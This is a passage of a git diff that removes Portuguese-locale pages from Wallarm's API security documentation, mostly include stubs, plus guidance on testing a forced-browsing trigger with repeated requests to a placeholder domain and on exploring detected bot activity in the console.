**Attacks** section of Wallarm Console. Sometimes, you can use this reaction alone to have information about the attack but not to block anything. -1. Save the trigger and wait for the [Cloud and node synchronization completion](../configure-cloud-node-synchronization-en.md) (usually, it takes 2-4 minutes). - -You can configure several triggers for forced browsing protection. - -## Testing - -!!! info "Testing in your environment" - To test the **Forced browsing** trigger in your environment, in the trigger and the requests below, replace the domain with any public one (e.g. `example.com`). - -To test the trigger described in the [Configuring](#configuring) section: - -1. Send the number of requests that exceeds the configured threshold to the protected URI. For example, 50 requests to `https://book-sale-example.com/config.json` (matches `https://book-sale-example.com/**.**`): - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://book-sale-example.com/config.json ; done - ``` -2. If the trigger reaction is **Denylist IP address**, open Wallarm Console → **IP lists** → **Denylist** and check that source IP address is blocked. - - If the trigger reaction is **Graylist IP address**, check the section **IP lists** → **Graylist** of Wallarm Console. -3. Open the section **Attacks** and check that requests are displayed in the list as a forced browsing attack. - - ![Forced browsing attack in the interface](../../images/user-guides/events/forced-browsing-attack.png) - - The number of displayed requests corresponds to the number of requests sent after exceeding the trigger threshold ([more details on detecting behavioral attacks](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks)). If this number is higher than 5, request sampling is applied and request details are displayed only for the first 5 hits ([more details on requests sampling](../../user-guides/events/analyze-attack.md)). - - To search for forced browsing attacks, you can use the `dirbust` filter. All filters are described in the [instructions on search use](../../user-guides/search-and-filters/use-search.md). - -## Requirements and restrictions - -**Requirements** - -To protect resources from forced browsing attacks, real clients' IP addresses are required. If the filtering node is deployed behind a proxy server or load balancer, [configure](../using-proxy-or-balancer-en.md) displaying real clients' IP addresses. - -**Restrictions** - -When searching for forced browsing attack signs, Wallarm nodes analyze only HTTP requests that do not contain signs of other attack types. diff --git a/docs/pt-BR/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/pt-BR/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index 4d8fe1a1ac..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/protecting-with-thresholds.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/sso/intro.md b/docs/pt-BR/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 26027b16c0..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/intro.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/sso/setup.md b/docs/pt-BR/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index c7312fc0ef..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/setup.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/pt-BR/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index 498ac5ac64..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-gsuite.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/sso/sso-okta.md b/docs/pt-BR/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index 7644c99038..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-okta.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/sso/troubleshooting.md b/docs/pt-BR/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 73abb9893d..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/troubleshooting.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md b/docs/pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md deleted file mode 100644 index c6d29efe55..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md" diff --git a/docs/pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md b/docs/pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md deleted file mode 100644 index 01d98d31ab..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md" diff --git a/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index 786e5973e9..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md" diff --git a/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index 72a92e581e..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md" diff --git a/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 203d907bc9..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md" diff --git a/docs/pt-BR/admin-en/configure-access-to-files-needed-for-node.md b/docs/pt-BR/admin-en/configure-access-to-files-needed-for-node.md deleted file mode 100644 index 1aacc6210e..0000000000 --- a/docs/pt-BR/admin-en/configure-access-to-files-needed-for-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-access-to-files-needed-for-node.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-backup-en.md b/docs/pt-BR/admin-en/configure-backup-en.md deleted file mode 100644 index 40fade2ffe..0000000000 --- a/docs/pt-BR/admin-en/configure-backup-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-backup-en.md" diff --git a/docs/pt-BR/admin-en/configure-cloud-node-synchronization-en.md b/docs/pt-BR/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index ec63a04ebf..0000000000 --- a/docs/pt-BR/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-cloud-node-synchronization-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index e9a2b33ace..0000000000 --- a/docs/pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-kubernetes-en.md b/docs/pt-BR/admin-en/configure-kubernetes-en.md deleted file mode 100644 index 87c9e94458..0000000000 --- a/docs/pt-BR/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-kubernetes-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-logging.md b/docs/pt-BR/admin-en/configure-logging.md deleted file mode 100644 index e8160294dd..0000000000 --- a/docs/pt-BR/admin-en/configure-logging.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-logging.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-parameters-en.md b/docs/pt-BR/admin-en/configure-parameters-en.md deleted file mode 100644 index 480cf57c2b..0000000000 --- a/docs/pt-BR/admin-en/configure-parameters-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-parameters-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-selinux.md b/docs/pt-BR/admin-en/configure-selinux.md deleted file mode 100644 index fd9188b823..0000000000 --- a/docs/pt-BR/admin-en/configure-selinux.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-selinux.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-statistics-service.md b/docs/pt-BR/admin-en/configure-statistics-service.md deleted file mode 100644 index fad8014df0..0000000000 --- a/docs/pt-BR/admin-en/configure-statistics-service.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-statistics-service.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configure-wallarm-mode.md b/docs/pt-BR/admin-en/configure-wallarm-mode.md deleted file mode 100644 index d8348187d3..0000000000 --- a/docs/pt-BR/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configure-wallarm-mode.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/enabling-ja3.md b/docs/pt-BR/admin-en/enabling-ja3.md deleted file mode 100644 index cd4fbd1fb7..0000000000 --- a/docs/pt-BR/admin-en/enabling-ja3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/enabling-ja3.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/installation-check-operation-en.md b/docs/pt-BR/admin-en/installation-check-operation-en.md deleted file mode 100644 index 113b0fe79b..0000000000 --- a/docs/pt-BR/admin-en/installation-check-operation-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-check-operation-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/installation-docker-en.md b/docs/pt-BR/admin-en/installation-docker-en.md deleted file mode 100644 index 60fb9d4bf8..0000000000 --- a/docs/pt-BR/admin-en/installation-docker-en.md +++ /dev/null @@ -1,28 +0,0 @@ -[doc-wallarm-mode]: configure-parameters-en.md#wallarm_mode -[doc-config-params]: configure-parameters-en.md -[waf-mode-instr]: configure-wallarm-mode.md -[logging-instr]: configure-logging.md -[proxy-balancer-instr]: using-proxy-or-balancer-en.md -[process-time-limit-instr]: configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: configure-wallarm-mode.md -[application-configuration]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: configure-statistics-service.md -[node-token]: ../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../installation/supported-deployment-options.md -[nginx-directives-docs]: configure-parameters-en.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[aws-ecs-docs]: ../installation/cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../installation/cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../installation/cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../installation/cloud-platforms/alibaba-cloud/docker-container.md - ---8<-- "latest-pt-BR/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index 840d337406..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md" diff --git a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index e2ed682613..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md" diff --git a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index 74e34ffd34..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md" diff --git a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index b6cead79f5..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md" diff --git a/docs/pt-BR/admin-en/installation-guides/envoy/envoy-docker.md b/docs/pt-BR/admin-en/installation-guides/envoy/envoy-docker.md deleted file mode 100644 index 8b62728ca0..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/envoy/envoy-docker.md +++ /dev/null @@ -1,15 +0,0 @@ -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-directives-docs]: ../../configure-parameters-en.md -[docker-envoy-configuration-docs]: ../../configuration-guides/envoy/fine-tuning.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[wallarm-mode-docs]: ../../configure-wallarm-mode.md -[api-tokens-docs]: ../../../user-guides/settings/api-tokens.md -[allocate-resources-for-wallarm-docs]: ../../configuration-guides/allocate-resources-for-node.md -[supported-deployments]: ../../../installation/supported-deployment-options.md -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[rate-limit-docs]: ../../../user-guides/rules/rate-limiting.md - ---8<-- "latest-pt-BR/admin-en/installation-guides/envoy/envoy-docker.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 0e061eb8c5..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md" diff --git a/docs/pt-BR/admin-en/installation-guides/google-cloud/create-image.md b/docs/pt-BR/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index f4eb20dafa..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/google-cloud/create-image.md" diff --git a/docs/pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index ddfdf3ebd8..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md" diff --git a/docs/pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index f308b84f20..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md" diff --git a/docs/pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index 5ed17a7229..0000000000 --- a/docs/pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md" diff --git a/docs/pt-BR/admin-en/installation-kubernetes-en.md b/docs/pt-BR/admin-en/installation-kubernetes-en.md deleted file mode 100644 index 65b3171eb2..0000000000 --- a/docs/pt-BR/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,16 +0,0 @@ -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../installation/supported-deployment-options.md -[nginx-ing-image]: ../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[chaining-doc]: chaining-wallarm-and-other-ingress-controllers.md - ---8<-- "latest-pt-BR/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/installation-postanalytics-en.md b/docs/pt-BR/admin-en/installation-postanalytics-en.md deleted file mode 100644 index f5325198cf..0000000000 --- a/docs/pt-BR/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/installation-postanalytics-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/managing/terraform-provider.md b/docs/pt-BR/admin-en/managing/terraform-provider.md deleted file mode 100644 index 09df984c2a..0000000000 --- a/docs/pt-BR/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/managing/terraform-provider.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/nginx-node-metrics.md b/docs/pt-BR/admin-en/nginx-node-metrics.md deleted file mode 100644 index efa1b58cba..0000000000 --- a/docs/pt-BR/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/operation/learn-incoming-request-number.md b/docs/pt-BR/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 4bbb2e07e4..0000000000 --- a/docs/pt-BR/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/operation/learn-incoming-request-number.md" diff --git a/docs/pt-BR/admin-en/scanner-addresses.md b/docs/pt-BR/admin-en/scanner-addresses.md deleted file mode 100644 index c236179f89..0000000000 --- a/docs/pt-BR/admin-en/scanner-addresses.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/scanner-addresses.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/scanner-complaint-en.md b/docs/pt-BR/admin-en/scanner-complaint-en.md deleted file mode 100644 index 1ab8827bdf..0000000000 --- a/docs/pt-BR/admin-en/scanner-complaint-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/scanner-complaint-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/uat-checklist-en.md b/docs/pt-BR/admin-en/uat-checklist-en.md deleted file mode 100644 index 97035ac969..0000000000 --- a/docs/pt-BR/admin-en/uat-checklist-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/uat-checklist-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/using-proxy-or-balancer-en.md b/docs/pt-BR/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index 5f8f5ad224..0000000000 --- a/docs/pt-BR/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/using-proxy-or-balancer-en.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/wcli-metrics.md b/docs/pt-BR/admin-en/wcli-metrics.md deleted file mode 100644 index db93a2a56c..0000000000 --- a/docs/pt-BR/admin-en/wcli-metrics.md +++ /dev/null @@ -1,15 +0,0 @@ -[AIO]: ../installation/nginx/all-in-one.md -[docker]: ../admin-en/installation-docker-en.md -[aws-ami]: ../installation/packages/aws-ami.md -[gcp]: ../installation/packages/gcp-machine-image.md -[IC]: ../admin-en/installation-kubernetes-en.md -[sidecar]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-helm-chart]: ../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md -[sidecar-deployment]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-upgrade]: ../updating-migrating/sidecar-proxy.md -[ic-helm-chart]: ../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewallmetrics -[ic-deployment]: ../admin-en/installation-kubernetes-en.md -[nginx-node-changelog]: ../updating-migrating/node-artifact-versions.md -[nginx-node-6.6.0]: ../updating-migrating/node-artifact-versions.md#660-2025-10-03 - ---8<-- "latest/admin-en/wcli-metrics.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/wstore-metrics.md b/docs/pt-BR/admin-en/wstore-metrics.md deleted file mode 100644 index 2be4d6efc7..0000000000 --- a/docs/pt-BR/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/wstore-metrics.md" diff --git a/docs/pt-BR/agentic-ai/agentic-ai-protection.md b/docs/pt-BR/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index 24f73aa452..0000000000 --- a/docs/pt-BR/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/pt-BR/agentic-ai/ai-payload-inspection.md b/docs/pt-BR/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index b83fdef912..0000000000 --- a/docs/pt-BR/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/pt-BR/api-abuse-prevention/exceptions.md b/docs/pt-BR/api-abuse-prevention/exceptions.md deleted file mode 100644 index a07a8ec417..0000000000 --- a/docs/pt-BR/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-abuse-prevention/exceptions.md" \ No newline at end of file diff --git a/docs/pt-BR/api-abuse-prevention/exploring-bots.md b/docs/pt-BR/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index d29a5b7089..0000000000 --- a/docs/pt-BR/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1,51 +0,0 @@ -# Exploring Bot Activity - -[API Abuse Prevention](../api-abuse-prevention/overview.md) identifies malicious bot activity based on ML algorithms. Such attacks are impossible to analyze based on a single blocked request. Therefore, it is essential that the Wallarm platform offers a wide range of tools to investigate bot activity from different angles. - -## API abuse dashboards - -API Abuse Prevention conveniently visualizes the data on bot activities for the last 30 days at the **API Abuse Prevention** section → **Statistics** tab. Using timeline diagram you can easily identify spikes in bot activity. The additional **Top Attackers** and **Top Targets** widgets allow you to determine the most active bots and the most attacked APIs and applications. You can drill down to investigate these bot activities at the **Attacks** tab in one click on the dashboard element. - -You can also analyze bot behaviors at the **Behavioral patterns** in the bottom. Get detailed information on each detector and how they acted together to determine bot actions. This widget and the counters of [deny- or graylisted](setup.md#creating-profiles) IPs at the top right will link you to the **IP Lists** [history](../user-guides/ip-lists/overview.md#ip-list-history) where you can check when and for what period of time the bot's IP was placed to the blocking list. - -![API abuse prevention statistics](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics.png) - -## Attacks - -You can explore attacks performed by bots in Wallarm Console → **Attacks** section. Use the `api_abuse`, `account_takeover`, `scraping` and `security_crawlers` search keys or select the appropriate options from the **Type** filter. - -![API Abuse events](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-events.png) - -Note that even if the bot IP is placed into the denylist by API Abuse Prevention, by default, Wallarm collects and [displays](../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) statistics regarding blocked requests originating from it. - -**Detector values** - -Pay your attention to the list of triggered [detectors](overview.md#how-api-abuse-prevention-works) and their values showing how big the deviation from normal behavior is for particular anomalies. On the figure above, for example, they are **Query abuse** with the value `326` when normal is `< 10`, **Request interval** with the value `0.05` when normal is `> 1` and others. - -**Heatmaps** - -Bot information is visualized in three heatmaps. In all heatmaps, the bigger the bubble, the closer it to red color and to the right upper corner - the more reasons to consider this IP to be a bot. - -On the heatmaps, you can also compare you current bot (**this bot**) with the other bots that attacked the same application within the past 24 hours. If too many bots did that, only 30 most suspicious will be displayed. - -The heatmaps: - -* **Performance** visualizes the performance of the current and other detected bots including their request non-uniqueness, scheduled requests, RPS, and request interval. -* **Behavior** visualizes the suspicious behavior score of the current and other detected bots including their degree of suspicious behavior, amount of requests to critical or sensitive endpoints, RPS and the number of bot detectors that detected them as bots. -* **HTTP errors** visualizes the API errors caused by bot activities including the number of different endpoints they target, the number of unsafe requests they make, their RPS, and the number of error response codes they receive. - - diff --git a/docs/pt-BR/api-abuse-prevention/overview.md b/docs/pt-BR/api-abuse-prevention/overview.md deleted file mode 100644 index 9cc7265585..0000000000 --- a/docs/pt-BR/api-abuse-prevention/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-abuse-prevention/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/api-abuse-prevention/setup.md b/docs/pt-BR/api-abuse-prevention/setup.md deleted file mode 100644 index b8c05544b9..0000000000 --- a/docs/pt-BR/api-abuse-prevention/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-abuse-prevention/setup.md" \ No newline at end of file diff --git a/docs/pt-BR/api-attack-surface/api-surface.md b/docs/pt-BR/api-attack-surface/api-surface.md deleted file mode 100644 index 6782aef24b..0000000000 --- a/docs/pt-BR/api-attack-surface/api-surface.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-attack-surface/api-surface.md" \ No newline at end of file diff --git a/docs/pt-BR/api-attack-surface/overview.md b/docs/pt-BR/api-attack-surface/overview.md deleted file mode 100644 index 41c25f1c93..0000000000 --- a/docs/pt-BR/api-attack-surface/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-attack-surface/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/api-attack-surface/security-issues.md b/docs/pt-BR/api-attack-surface/security-issues.md deleted file mode 100644 index 3e2b74f36b..0000000000 --- a/docs/pt-BR/api-attack-surface/security-issues.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-attack-surface/security-issues.md" \ No newline at end of file diff --git a/docs/pt-BR/api-attack-surface/setup.md b/docs/pt-BR/api-attack-surface/setup.md deleted file mode 100644 index 95fc74d7a8..0000000000 --- a/docs/pt-BR/api-attack-surface/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/setup.md" \ No newline at end of file diff --git a/docs/pt-BR/api-discovery/bola-protection.md b/docs/pt-BR/api-discovery/bola-protection.md deleted file mode 100644 index 06da5f34dd..0000000000 --- a/docs/pt-BR/api-discovery/bola-protection.md +++ /dev/null @@ -1,18 +0,0 @@ -# Automatic Protection Against BOLA Attacks - -!!! warning "Feature availability" - In the latest versions of API Discovery, this feature is under reconstruction and may be temporarily unavailable. - -Behavioral attacks such as [Broken Object Level Authorization 